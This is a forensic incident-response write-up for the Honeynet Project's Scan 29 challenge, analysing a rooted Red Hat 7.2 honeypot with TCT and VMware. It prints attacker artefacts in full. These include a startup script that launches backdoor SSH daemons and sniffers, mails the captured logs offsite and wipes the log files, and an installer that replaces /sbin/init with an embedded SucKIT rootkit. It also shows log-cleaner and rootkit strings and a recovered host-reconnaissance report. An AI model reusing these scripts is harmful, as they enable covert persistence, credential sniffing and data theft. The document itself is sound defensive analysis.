Honeynet Project - Scan 29 - Analysis by AJ


Contents

The Challenge
Analysis (Overview)
Analysis (Part 1)
Analysis (Part 2)
Analysis (Part 3)
Overview
Answers

The Challenge

On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed.
Honeynet Project - Scan 29

Analysis

I have decided to split this analysis in 3 parts to make real use of VMWare and its nifty features when it comes to keeping snapshots and suspending running machines.
Part 1 - Quick analysis of the running system
Part 2 - Shutdown of the running image, mount within another RedHat9 Image
Part 3 - Review of the running system and use of information obtained in Part 2

Note: The live system is in the PDT timezone (utc-7), the analysis-system in CEST (utc+2) - this makes quite some mess out of some timestamps.

Part 1

After uncompressing the suspended image I opened a copy of the image in VMWare. The original image file has obviously been created using a copy of VMWare running under Linux, therefore some hardware wouldn't work for me as I am running VMWare under Windows XP ..
Since the image was suspended there was no way to change any settings at this point, for security reasons I therefore disconnected the PC used for the analysis from the network by unplugging the ethernet cable. Okay, that's a bit hard but I better safe than sorry.
After resuming the suspended image it complained about missing/invalid hardware - just as expected. After confirming the VMWare prompts a rootshell appeared:

Okay, err, wait! (swapd) setting promiscious mode on eth0?!
Did they invent network-based swapping and need sniffing for that, now? Highly suspicious..
At this point I took a VMWare snapshot to be able to go back to this point without having to unzip the original suspended image every time.
The next step was to get rid of the usb-uhci kernel module by using rmmod, since I wouldn't be using an USB human interface thingie anyway. And 2 new lines complaining about USB errors on the console every few seconds are rather annoying.
"ps aux" nicely shows some strange processes running:


The system seems to have been booted up on August 9th.
Hostname: sbm79.dtc.apu.edu (resolves to 199.107.97.79) - Local IP: 192.168.1.79

A quick examination of the available system log files reveals that /var/log/messages has been symlinked to /dev/null at August 10th 15:30 (if the system clock and file timestamp can be trusted).
The boot.log file indicates tampering of the syslog daemons around August 10th, 13:33.
A quick look-through of the maillog file shows that 3 mails have been sent to offsite locations:
Aug 10 14:14:01 - from the local Apache account to [email protected]
Aug 10 15:37:40 - from the root account to [email protected]
Aug 10 16:34:50 - from the root account to [email protected]

Google shows no matches for "newptraceuser" nor for "[email protected]", but I suspect that someone gained uid apache (mod_ssl, php..?) and used some sort of ptrace exploit to get root access.
/var/log/secure shows a telnet attempt from 193.109.122.5 (Aug 10 16:04) and a ssh attempt from 202.85.165.46 (Aug 10 18:58).
5.122.109.193.in-addr.arpa      name = proxyscan.undernet.org.

Ripe/Apnic Whois-Output:
inetnum:      193.109.122.0 - 193.109.122.255
netname:      BIT-IRC-1
descr:        BIT proxyscan PI space
country:      NL
admin-c:      SB825-RIPE
tech-c:       SB825-RIPE
status:       ASSIGNED PI
remarks:      In case of proxyscan activity, please refer to
remarks:      http://www.undernet.org/proxyscan.php
remarks:      email address: [email protected]
remarks:      please do NOT mail any other @undernet.org about it, as they
remarks:      are not involved


inetnum:      202.85.160.0 - 202.85.191.255
netname:      IADVANTAGE
descr:        iAdvantage Limited
country:      HK

193.109.122.5 resolves to proxyscan.undernet.org which indicates that the attackers used the honeypot for outgoing IRC connection as the proxyscan host is usually only trying to connect to perform proxy checks on clients connecting to the undernet IRC network. The telnet attempt in this case was most likely an attempt to check if the connecting host is a misconfigured cisco router (password "cisco") and is being used as a relay or if the host is an open wingate which also has relaying abilities. Open proxies/relays are not welcome on most IRC networks because they allow more or less anonymous IRC access and are often abused for various IRC warfare-related activities (more information).
/lib/.x (easily found in the ps aux output) seems to contain some files left by the attacker. Some logfiles there have a timestamp of August 10 15:32. There are also some with uid apache. One might wonder why they aren't hidden by some sort of rootkit..
/lib/.x/install.log mentions "SucKIT version 1.3b", which seems to be some kind of rootkit. But somehow the installation seems to have failed. /lib/.x/.boot is an interesting bash-script which starts a few "nice" programs such as a sniffer and a ssh backdoor. It also sends a status email to [email protected]
The directory /lib/.x/s contains a ssh daemon, most likely for backdooring purposes.
/lib/.x/mfs seems to be the logfile of some sniffer, it shows some ftp attempts and the above-mentioned connection from proxyscan.undernet.org again. According to the sshd_config the sshd is supposed to listen on port 22, but the .boot script sets the sshd port at runtime using the file /lib/.x/s/port which has a value of "3128" - a port commonly used for the squid web cache. The public ssh key seems to originate from "[email protected]".
According to netstat (which can not be trusted at this point) there are plenty of ports open - including a strange session from 213.154.118.200 to the local port 65436. The IP seems to be Romanian.
200.118.154.213.in-addr.arpa    name = sanido-08.is.pcnet.ro.

Ripe Whois-Output:
inetnum:      213.154.96.0 - 213.154.127.255
netname:      PCNET
descr:        PCNET Data Network S.A.
descr:        PROVIDER ADSL Network
country:      RO


Note: The netstat binary is backdoored. See Part 3 for the "real view".

Using the /proc directory I took a quick view on the running processes, it looks like two backdoor-sshds and a sniffer is running. Note that no system binary is trustworthy at this time!
/root/.bash_history seems to have been linked to /dev/null. But the attackers have been nice and left over a .bash_history in /:

A quick look at the izolam.net website and -whois information didn't reveal anything particulary interesting.
The /root directory contains a file called sslstop.tar.gz and a directory with the same name. It looks like it contains files to change the SSL listen-port of Apache and to completely disable the SSL subsystem by replacing all occurences of HAVE_SSL with HAVE_SSS, which is therefore never matched by Apache and thus disabling the SSL subsystem. This indicates that SSL might be related with this compromise, possibly one of the recent mod_ssl bugs.
The sslstop programs seem to have been compiled around Aug 10 15:52.

I decided to have a look which files have been changed by looking for changes since the last manipulation of /proc - I was really surprised to find something!
find . -newer proc

/etc/opt/psybnc/
/etc/rc.d/init.d/functions
/etc/rc.d/rc.sysinit
/etc/httpd/conf/httpd.conf
/usr/bin/(swapd)
/usr/bin/x.pid
/usr/lib/libshtift
/usr/lib/libice.log
/usr/lib/adore.o
/usr/lib/cleaner.o
/usr/include/iceseed.h
/usr/include/icepid.h
/lib/.x/
(summarized)

adore.o and cleaner.o do remind me of the possible presence of the adore rootkit. The adore rootkit is a linux kernel module rootkit which is supposed to intercept system calls and therefore hide files, processes, .. without modifying system binaries such as ls, ps, ..
/etc/opt contains psyBNC 2.3.1, a program used to relay IRC connections with a lot of additional features, written by my friend psychoid, which has been installed on August 10, 16:01. The BNC listens on tcp port 65336 and 65436 and connect a user with the nick [[[kgb]]] to the undernet IRC network, in this case to mesa.az.us.undernet.org (port 6667). This explains the probes from proxyscan.undernet.org we have seen before. A second user with the nick redcode (away-nick: killMe) is also connecting to this undernet server using the psyBNC on the honeypot.
According to the psybnc.conf file [[[kgb]]] is in the IRC channels #radioactiv and #RedCode, redcode in #AiaBuni and #RedCode.
The file /etc/opt/psybnc/log/psybnc.log shows the connection attempts to the psybnc program originating from sanido-09.is.pcnet.ro


/etc/rc.d/init.d/functions seems to have an added line that runs /usr/bin/crontabs -t1 -X53 -p upon system startup.

The changes in /etc/rc.d/rc.sysinit are not really obvious, but it looks like a line running kflushd has been added.

/etc/httpd/conf/httpd.conf seems to have been changed:
HAVE_SSL to HAVE_SSS, effectively disabling the SSL support.

/usr/bin/(swapd) seems to be a sniffer (as we have seen it in "ps aux" while logging in)

/usr/bin/x.pid looks like a pid file (textfile containing the process id of some running process) which contains "3153" but "ps aux" doesn't show anything with pid 3153 running although the /proc filesystem contains an entry for pid 3153, so there is most likely some rootkit active and/or the system binaries have been changed to hide several programs.

/usr/lib contains yet another sniffer logfile, libice.log and a few files owned by the apache user: yet another backdoor-sshd, port 345 (Configfile /usr/lib/sp0_cfg, binary /usr/lib/sp0), timestamp Jun 1 21:03.

Part 2

In this part the honeypot image has been shut down and is being mounted as a second "hard disk" into an existing RedHat9-based VMWare-Image.
[[email protected] mnt]# fdisk -l /dev/sdb

Disk /dev/sdb: 1073 MB, 1073741824 bytes
128 heads, 32 sectors/track, 512 cylinders
Units = cylinders of 4096 * 512 = 2097152 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sdb1   *         1       460    942064   83  Linux
/dev/sdb2           461       512    106496   82  Linux swap
[[email protected] mnt]# mount /dev/sdb1 /mnt/scan29 -o nodev,noexec,ro
[[email protected] mnt]# ls -la scan29
total 164
drwxr-xr-x   18 root     root         4096 Aug 11 00:54 .
drwxr-xr-x    5 root     root         4096 Sep 22 13:26 ..
-rw-r--r--    1 root     root            0 Aug  9 23:34 .autofsck
-rw-------    1 root     root          235 Aug 11 00:54 .bash_history
drwxr-xr-x    2 root     root         4096 Aug 10 22:33 bin
drwxr-xr-x    3 root     root         4096 Jul 16 19:28 boot
drwxr-xr-x   18 root     root        77824 Aug 11 00:30 dev
drwxr-xr-x   31 root     root         4096 Aug 11 00:32 etc
drwxr-xr-x    2 root     root         4096 Feb  6  1996 home
drwxr-xr-x    2 root     root         4096 Jun 21  2001 initrd
drwxr-xr-x    8 root     root         4096 Aug 11 00:32 lib
drwxr-xr-x    2 root     root        16384 Jul 14 22:52 lost+found
drwxr-xr-x    4 root     root         4096 Jul 15 05:56 mnt
drwxr-xr-x    2 root     root         4096 Aug 23  1999 opt
drwxr-xr-x    2 root     root         4096 Jul 14 22:52 proc
drwxr-x---    5 root     root         4096 Aug 11 00:50 root
drwxr-xr-x    2 root     root         4096 Aug 10 22:33 sbin
drwxrwxrwt    2 root     root         4096 Aug 11 01:01 tmp
drwxr-xr-x   15 root     root         4096 Jul 14 22:53 usr
drwxr-xr-x   17 root     root         4096 Jul 14 22:54 var
[[email protected] mnt]#

A quick view over the files mentioned in Part 1:
[[email protected] .x]# cat .boot
#!/bin/sh
SSHPORT=`cat /lib/.x/s/port`
IP=`cat /lib/.x/ip`
TIME=`date`
/lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log
/lib/.x/s/lsn &
/lib/.x/sk p 1 >> /lib/.x/reboot.log
/lib/.x/sk f 1 >> /lib/.x/reboot.log
echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Sniffer log:" >> /tmp/13996log
echo "      - TTY Sniffer:" >> /tmp/13996log
cat /lib/.x/.lurker >> /tmp/13996log
echo >> /tmp/13996maillog
echo "      - Network Sniffer:" >> /tmp/13996log
cat /lib/.x/s/mfs >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
echo "###Reboot log:" >> /tmp/13996log
cat /lib/.x/reboot.log >> /tmp/13996log
echo >> /tmp/13996maillog
echo >> /tmp/13996maillog
cat /tmp/13996log | mail -s "Host ${IP} is up!" [email protected]
/lib/.x/hide
/lib/.x/cl -f /var/log/maillog yahoo > /dev/null
/lib/.x/cl -s o.tgz > /dev/null
/lib/.x/cl -s suckit > /dev/null
/lib/.x/cl -s xopen > /dev/null
/lib/.x/cl -s promisc > /dev/null
/lib/.x/cl -f promisc /var/log/secure > /dev/null
rm -rf /tmp/13996*
rm -rf /lib/.x/reboot.log
[[email protected] .x]# strings cl
/lib/ld-linux.so.2
libc.so.6
printf
stdout
malloc
fflush
ftruncate
lseek
bzero
write
__deregister_frame_info
strstr
read
strncmp
getopt
strcmp
getpwnam
exit
_IO_stdin_used
__libc_start_main
strlen
open
__register_frame_info
close
__gmon_start__
GLIBC_2.0
PTRh
s:f:u:w:y:x:l:d:h
default
        ERROR: missing arguments!
        asciifile options:
         -s  <string>           - removes string from logfiles.
         -f  <file> <string>    - removes string from file.
        utmp options:
         -u  <username>         - removes username from utmp.
         -u  <username> <tty>   - removes user on given tty.
        wtmp options:
         -w  <username>         - removes last entry from wtmp.
         -w  <username> <tty>   - removes last entry on given tty.
         -ww <username>         - removes all entries for username.
        lastlog options:
         -l  <username>         - removes username lastlog entry.
        misc options:
         -h                     - to get this!
Report bugs to <[email protected]>.
Die Putze %s - The ultimate unix logfile cleaner...
/var/log/messages
/var/log/auth.log
/var/run/utmp
/var/log/wtmp
none
/var/log/lastlog
default
        processing: %s
        ERROR: open %s
        ERROR: open %s
        processing: %s
        ERROR: open %s
        processing: %s
        ERROR: open %s
        processing: %s
        ERROR: open %s
         processing: %s
[[email protected] .x]# cat inst
#!/bin/bash
D="/lib/.x"
H="13996"
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
\024\125\226\150\167\272\011\115\322\320\215\266\032\024\265\121\231\
\201\021\041\045\314\110\370\061\206\204\202\240\104\233\204\044\010\
\004\005\022\150\142\010\154\322\005\141\045\020\354\264\346\246\050\
\355\031\311\133\146\036\354\302\210\263\354\054\263\303\316\007\143\
\020\202\035\302\222\200\070\137\002\254\106\302\050\343\060\132\261\
[..]
\016\325\372\324\377\075\122\142\060\314\272\015\336\377\002\201\176\
\313\233\330\157\000\000" | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ];  then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo  Have phun!
[[email protected] .x]#
"inst" seems to be the some sort of installation skript for a kernel rootkit. It copies /sbin/init to /sbin/init13996 and then copies the file "sk", which it has extracted first, to /sbin/init, effectively replacing the original /sbin/init with some trojaned copy.
[[email protected] .x]# strings sk

..

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:./bin:/lib/.x:/lib/.x/bin
HOME=/lib/.x
HISTFILE=/dev/null
PS1=\[\033[1;30m\][\[\033[0;32m\]\u\[\033[1;32m\]@\[\033[0;32m\]\h \[\033[1;37m\]\W\[\033[1;30m\]]\[\033[0m\]#
SHELL=/bin/bash
TERM=linux
pqrstuvwxyzabcde
0123456789abcdef
/dev/ptmx
/dev/pty
/dev/tty
/dev/null
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
Can't open a tty, all in use ?
Can't fork subshell, there is no way...
/lib/.x
/bin/sh
Can't execve shell!
BD_Init: Starting backdoor daemon...
FUCK: Can't allocate raw socket (%d)
FUCK: Can't fork child (%d)
Done, pid=%d
.boot
/lib/.x/.boot
use:
%s <uivfp> [args]
u       - uninstall
i       - make pid invisible
v       - make pid visible
f [0/1] - toggle file hiding
p [0/1] - toggle pid hiding
Detected version: %s
FUCK: Failed to uninstall (%d)
Suckit uninstalled sucesfully!
FUCK: Failed to hide pid %d (%d)
Pid %d is hidden now!
FUCK: Failed to unhide pid %d (%d)
Pid %d is visible now!
file
Failed to change %s hiding (%d)!
%s hiding is now %s!
kmalloc
_kmalloc
__kmalloc
/lib/.x
/dev/kmem
FUCK: Can't open %s for read/write (%d)
RK_Init: idt=0x%08x,
FUCK: IDT table read failed (offset 0x%08x)
FUCK: Can't find sys_call_table[]
sct[]=0x%08x,
FUCK: Can't find kmalloc()!
kmalloc()=0x%08x, gfp=0x%x
FUCK: Can't read syscall %d addr
Z_Init: Allocating kernel-code memory...
FUCK: Out of kernel memory!
Done, %d bytes, base=0x%08x
/dev/kmem
13996
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
core
FUCK: Got signal %d while manipulating kernel!
/sbin/init13996
0123456789abcdefghijklmnopqrstuvwxyz
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
<NULL>
/dev/null
1.3b by Unseen
13996
/lib/.x/.lurker
/proc/
/proc/net/
socket:[
/sbin/init
/sbin/init13996
login
telnet
rlogin
rexec
passwd
adduser
mysql
ssword:

..

[[email protected] .x]# strings log
/lib/ld-linux.so.2

..

use:
%s [hsditc] ...args
-h      Specifies ip/hostname of host where is running
        suckitd
-s      Specifies port where we should listen for incoming
        server' connection (if some firewalled etc), if not
        specified, we'll get some from os
-d      Specifies port of service we could use for authentication
        echo, telnet, ssh, httpd... is probably good choice
-i      Interval between request sends (in seconds)
-t      Time we will wait for server before giving up (in seconds)
-c      Connect timeout (in seconds)
password:
Got signal %d, exiting...
accept
Et voila
Server connected. Escape character is '^K'
TERM
TERM=%s
Connection disappeared, errno=%d
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################
h:H:s:S:d:D:i:I:t:T:C:c:
socket
bind
listen
getsockname
Listening to port %d
fork
Trying %s:%d...
connect: Timed out
connect
Trying...
%s: no response within %d seconds
%s: server not responding, giving up!
[[email protected] .x]#
/lib/.x/hide seems to be a script which tries to hide processes from getting listed in "ps" and other programs by calling the "sk" program:
[[email protected] .x]# cat hide
#!/bin/sh
for i in $(ps aux|grep "/lib/.x"|awk -F " " '{print $2}')
do
/lib/.x/sk i $i >>/lib/.x/hide.log
done
for z in $(ps aux|grep xopen|awk -F " " '{print $2}')
do
/lib/.x/sk i $z >>/lib/.x/hide.log
done
for x in $(ps aux|grep lsn|awk -F " " '{print $2}')
do
/lib/.x/sk i $z >>/lib/.x/hide.log
done
[[email protected] .x]#
Fortunately it doesn't really seem to work, maybe because there is another rootkit active?
[[email protected] .x]# cat hide.log
#####################################################
# SucKIT version 1.3b by Unseen <[email protected]> #
#####################################################

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
[[email protected] .x]#
a quick find reveals some interesting things (I only took .autofsck because the timestamp seems to be only a short time before the incident):
[[email protected] scan29]# find . -newer .autofsck
.
./dev
./dev/log
./dev/tty1
./dev/urandom
./dev/hpd
./dev/gpmctl
./dev/hdx1
./dev/hdx2
[..]
/dev/hdx? Strange files, maybe used to control some sort of rootkit/backdoored binaries. But these files seem to be empty ..
Maybe there are some more apache-owned files?
[[email protected] scan29]# find . -uid 48
./var/cache/httpd
./var/run/httpd.mm.14637.sem
./var/run/httpd.mm.14671.sem
./usr/lib/sp0
./usr/lib/sp0_cfg
./usr/lib/sp0_key
./usr/lib/sp0_seed
./lib/.x/hide
./lib/.x/inst
./lib/.x/log
./lib/.x/cl
./lib/.x/.boot
[[email protected] scan29]#
Nothing new - time for the more advanced tools: The Coroner's Toolkit (TCT).
Just download the sourcecode, unpack it and run "make". This will give you a bin-directory:
[[email protected] tct-1.12]# ls bin
file  grave-robber  icat  ils  lastcomm  lazarus  mactime  major_minor  md5  pcat  strip_tct_home  timeout  unrm
[[email protected] tct-1.12]#
A good document regarding the operation of TCT can be found here.

We already know that the "ps" binary has been backdoored (remember, it didn't show us some sniffer process), therefore the following is just for the really bored:
[[email protected] tct-1.12]# md5sum /mnt/scan29/bin/ps
a71c756f78583895afe7e03336686f8b  /mnt/scan29/bin/ps
[[email protected] tct-1.12]# grep /bin/ps$ ~/host79-2003-08-06.md5
881c7af31f6f447e29820fb73dc1dd9a  /bin/ps
[[email protected] tct-1.12]#

As a part of the TCT analysis we run the grave-robber program:
[[email protected] tct-1.12]# bin/grave-robber -m /mnt/scan29/
[[email protected] tct-1.12]#
We need the LANG="en_US" else mactime gets some issues with UTF8 stuff. The 8th of August seems to be a good date to start the analysis, since it seems to be before the system bootup and way before the incident:
[[email protected] tct-1.12]# LANG="en_US" bin/mactime -p /mnt/scan29/etc/passwd -g /mnt/scan29/etc/group 08/08/2003 > mactime.lst
[[email protected] tct-1.12]# cat mactime.lst | wc -l
   5278
[[email protected] tct-1.12]#
According to the data in mactime.lst (opened with a text editor) the system seems to have been booted up at Aug 09 03 23:34:26.
[[email protected] tct-1.12]# head mactime.lst -n1
Aug 09 03 23:34:26       39 .a. lrwxrwxrwx root     root     /mnt/scan29/lib/modules/2.4.7-10/pcmcia/wvlan_cs.o -> ../kernel/drivers/net/pcmcia/wvlan_cs.o
[[email protected] tct-1.12]#

There seems to have been an ftp attempt:
Aug 10 03 21:27:36      464 .a. -rw------- root     root     /mnt/scan29/etc/ftpconversions
                       4096 mac -rw-r--r-- root     root     /mnt/scan29/var/run/ftp.pids-all
                       1657 .a. -rw------- root     root     /mnt/scan29/etc/ftpaccess
                     172668 .a. -rwxr-xr-x bin      bin      /mnt/scan29/usr/sbin/in.ftpd

Later, at 22:33 some suspicious activities ..
Aug 10 03 22:30:00    26780 .a. -rwxr-xr-x root     root     /mnt/scan29/bin/date
Aug 10 03 22:32:29    45948 .a. -rwxr-xr-x root     root     /mnt/scan29/usr/lib/libshtift/ls
                      45948 .a. -rwxr-xr-x root     root     /mnt/scan29/var/ftp/bin/ls
Aug 10 03 22:33:19     8268 .a. -rwx------ root     root     /mnt/scan29/usr/bin/sl2
                         59 .a. -rwxr-xr-x root     root     /mnt/scan29/dev/ttyof
                       4060 .a. -rwxr-xr-x root     root     /mnt/scan29/usr/bin/sense
                      36692 .a. -rwxr-xr-x root     root     /mnt/scan29/bin/ls
                          2 .a. -rw-r--r-- root     root     /mnt/scan29/usr/lib/libsss
                         98 .a. -rwx------ root     root     /mnt/scan29/usr/bin/logclear
                      32756 .a. -rwxr-xr-x root     root     /mnt/scan29/bin/ps
                      48856 .a. -rwxr-xr-x root     root     /mnt/scan29/usr/bin/top
                         74 .a. -rwxr-xr-x root     root     /mnt/scan29/dev/ttyop
[[email protected] scan29]# ls -la usr/lib/libshtift
total 308
drwxr-xr-x    2 root     root         4096 Aug 10 22:33 .
drwxr-xr-x   15 root     root         8192 Aug 11 00:30 ..
-rwxr-xr-x    1 root     root        51164 Jul 31  2001 ifconfig
-rwxr-xr-x    2 root     root        45948 Aug  9  2001 ls
-rwxr-xr-x    1 root     root        83132 Jul 31  2001 netstat
-r-xr-xr-x    1 root     root        63180 Aug 28  2001 ps
-r-xr-xr-x    1 root     root        34924 Aug 28  2001 top
[[email protected] scan29]# head -n3 /mnt/scan29/usr/bin/sense
#!/usr/bin/perl
# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla 
[[email protected] scan29]#
Nice, something must have happened.
[[email protected] scan29]# md5sum usr/lib/libshtift/ps bin/ps
881c7af31f6f447e29820fb73dc1dd9a  usr/lib/libshtift/ps
a71c756f78583895afe7e03336686f8b  bin/ps
[[email protected] scan29]# grep /bin/ps$ /root/host79-2003-08-06.md5
881c7af31f6f447e29820fb73dc1dd9a  /bin/ps
[[email protected] scan29]# cd usr/lib/libshtift/
[[email protected] libshtift]# ls -la
total 308
drwxr-xr-x    2 root     root         4096 Aug 10 22:33 .
drwxr-xr-x   15 root     root         8192 Aug 11 00:30 ..
-rwxr-xr-x    1 root     root        51164 Jul 31  2001 ifconfig
-rwxr-xr-x    2 root     root        45948 Aug  9  2001 ls
-rwxr-xr-x    1 root     root        83132 Jul 31  2001 netstat
-r-xr-xr-x    1 root     root        63180 Aug 28  2001 ps
-r-xr-xr-x    1 root     root        34924 Aug 28  2001 top
[[email protected] libshtift]# md5sum *
e984302652a0c59469a0d8826ae3cdeb  ifconfig
3e743c6bfa1e34f2f2164c6a1f1096d0  ls
0ea03807e53e90b147c4309573ebc76a  netstat
881c7af31f6f447e29820fb73dc1dd9a  ps
6091c2a0a9231844d1ee9d43f29e6767  top
[[email protected] libshtift]#
Okay, /usr/lib/libshtift seems to contain the original binaries, which also match the md5 checksums provided by the Honeynet Project. We will use these later in Part 3 for a review of the running system.
According to TCT /usr/lib/libshtift/ls has been last accessed at Aug 10 03 22:32:29, so it has most likely been trojaned shortly afterwards.

/usr/bin/sl2 and /usr/bin/sense look like some files found in scan 15 of the honeynet project.
[[email protected] bin]# strings sl2
/lib/ld-linux.so.1

..

Unknown host %s
sendto
Usage: %s srcaddr dstaddr low high
    If srcaddr is 0, random addresses will be used
socket
%i.%i.%i.%i
High port must be greater than Low port.
[[email protected] bin]# ls -la sl2
-rwx------    1 root     root         8268 Sep 26  1983 sl2
1983.. Hey, they seem to be able to change timestamps (funny).
[[email protected] scan29]# find . -ls | grep "Sep 26  1983"
 92017   48 -rwxr-xr-x   1 root     root        48856 Sep 26  1983 ./usr/bin/top
 92009    4 -rwxr-xr-x   1 root     root         4060 Sep 26  1983 ./usr/bin/sense
 92010   12 -rwx------   1 root     root         8268 Sep 26  1983 ./usr/bin/sl2
[[email protected] scan29]#

The sniffer /usr/bin/(swapd) (found in Part 1) seems to have been compiled at Aug 10 03 22:33:34, maybe as a part of some sort of rootkit installation process. It has then been started at Aug 10 03 22:33:35 and wrote a pid file /usr/bin/x.pid (which we found in Part 1) and a sniffer logfile /usr/lib/libsss.
Aug 11 03 00:26:18  a login via sshd, /etc/issue accessed.

Aug 11 03 00:30:21      621 .a. -rw-r--r-- apache   apache   /mnt/scan29/usr/lib/sp0_cfg
                        513 .a. -rw-r--r-- apache   apache   /mnt/scan29/usr/lib/sp0_seed
                        532 .a. -rw-r--r-- apache   apache   /mnt/scan29/usr/lib/sp0_key
                     230163 .a. -rwx------ apache   apache   /mnt/scan29/usr/lib/sp0
Aug 11 03 00:30:30        0 mac ---------- root     root     /mnt/scan29/dev/hdx2
                          0 mac ---------- root     root     /mnt/scan29/dev/hdx1

Aug 11 03 00:30:48      761 .a. -rw-r--r-- root     root     /mnt/scan29/usr/include/linux/smb_fs_i.h
                         75 .a. -rw-r--r-- root     root     /mnt/scan29/usr/include/linux/vfs.h
                       1282 .a. -rw-r--r-- root     root     /mnt/scan29/usr/include/asm/ptrace.h

Ptrace ..

Aug 11 03 00:30:52       20 .a. -rw-r--r-- root     root     /mnt/scan29/usr/include/sys/signal.h
                       5636 ma. -rw-r--r-- root     root     /mnt/scan29/usr/lib/adore.o


Adore ..

Aug 11 03 00:30:54      513 ..c -rw-r--r-- apache   apache   /mnt/scan29/usr/lib/sp0_seed
                      20991 m.c -rwxr-xr-x root     root     /mnt/scan29/etc/rc.d/rc.sysinit
                        532 ..c -rw-r--r-- apache   apache   /mnt/scan29/usr/lib/sp0_key
                       1016 mac -rw-r--r-- root     root     /mnt/scan29/usr/lib/cleaner.o
                          9 m.c lrwxrwxrwx root     root     /mnt/scan29/var/log/messages -> /dev/null
                          9 m.c lrwxrwxrwx root     root     /mnt/scan29/root/.bash_history -> /dev/null

Start of the backdoor-sshd and adding the daemon to rc.sysinit, then cleaning of various system
logfiles and linking some of them to /dev/null ..

Aug 11 03 00:31:51
creating of the files in /lib/.x ..

Aug 11 03 00:49:47     1627 ..c -rw-r--r-- root     root     /mnt/scan29/root/sslstop.tar.gz

Aug 11 03 00:57:12   312188 ..c -rw-r--r-- root     root     /mnt/scan29/etc/opt/psyBNC2.3.1.tar.gz

Aug 11 03 01:03:16      176 .a. -rw-r--r-- root     root     /mnt/scan29/root/.bashrc
                      18396 .a. -rwxr-xr-x root     root     /mnt/scan29/usr/bin/dircolors

Looks like a root login via one of the ssh daemons.

(cutted)

Let's see what files we can restore with TCT..
[[email protected] tct-1.12]# bin/unrm /dev/sdb1 > /root/unrm
[[email protected] tct-1.12]# strings unrm > /mnt/space/unrm.strings
We now have all readable strings which TCT found in deleted space on /dev/sdb1 (the honeypot disk image) in /mnt/space/unrm.strings which will get examined with some text editor:
--
gcc tools/chkbind.c -lnsl -ldl -lsocket -o tools/chkbind 2>tools/.chk
gcc tools/chkenv.c -o tools/chkenv 2>tools/.chk
gcc tools/chkssl.c -I/usr/local/ssl/include -L/usr/local/ssl/lib -lssl -lcrypto -o tools/chkssl 2>tools/.chk
tools/chkipv6 >tools/.chk
SunOS
--

Parts of a psyBNC (see above) make logfile, but SunOS? Looks like something left-over from
another host the attackers have compromised before.

The following looks like a mail generated by a rootkit installation:
--
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++      Informatziile pe care le-ai dorit boss:)       +++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Hostname : localhost.localdomain (192.168.1.79)
Alternative IP : 127.0.0.1
Host : localhost.localdomain

===============================================================

Distro: Red Hat Linux release 7.2 (Enigma)

===============================================================

Uname -a
Linux localhost.localdomain 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown

===============================================================

Uptime
  1:33pm  up 22:59,  1 user,  load average: 0.16, 0.03, 0.01

===============================================================

/tmp/sand

===============================================================

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

===============================================================

Yahoo.com ping:

PING 216.115.108.243 (216.115.108.243) from 192.168.1.79 : 56(84) bytes of data.
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
--- 216.115.108.243 ping statistics ---
6 packets transmitted, 0 packets received, +3 errors, 100% packet loss

===============================================================

Hw info:

CPU Speed: 666.888MHz
CPU Vendor: vendor_id   : GenuineIntel
CPU Model: model name   : Pentium III (Coppermine)
RAM: 94420 Kb

===============================================================

HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3    905M  296M  564M  35% /
none         tmpfs     46M     0   46M   0% /dev/shm

===============================================================

inetd-ul...

===============================================================

configurarea ip-urilor..
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          inet addr:192.168.1.79  Bcast:192.168.1.255  Mask:255.255.255.0

===============================================================


Ports open:
tcp        0      0 *:https                 *:*                     LISTEN
tcp        0      0 localhost.localdom:smtp *:*                     LISTEN
tcp        0      0 *:telnet                *:*                     LISTEN
tcp        0      0 *:ssh                   *:*                     LISTEN
tcp        0      0 *:ftp                   *:*                     LISTEN
tcp        0      0 *:cfinger               *:*                     LISTEN
tcp        0      0 *:auth                  *:*                     LISTEN
tcp        0      0 *:http                  *:*                     LISTEN
tcp        0      0 *:finger                *:*                     LISTEN
tcp        0      0 *:netbios-ssn           *:*                     LISTEN
tcp        0      0 *:4000                  *:*                     LISTEN

===============================================================

/etc/passwd & /etc/shadow

/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
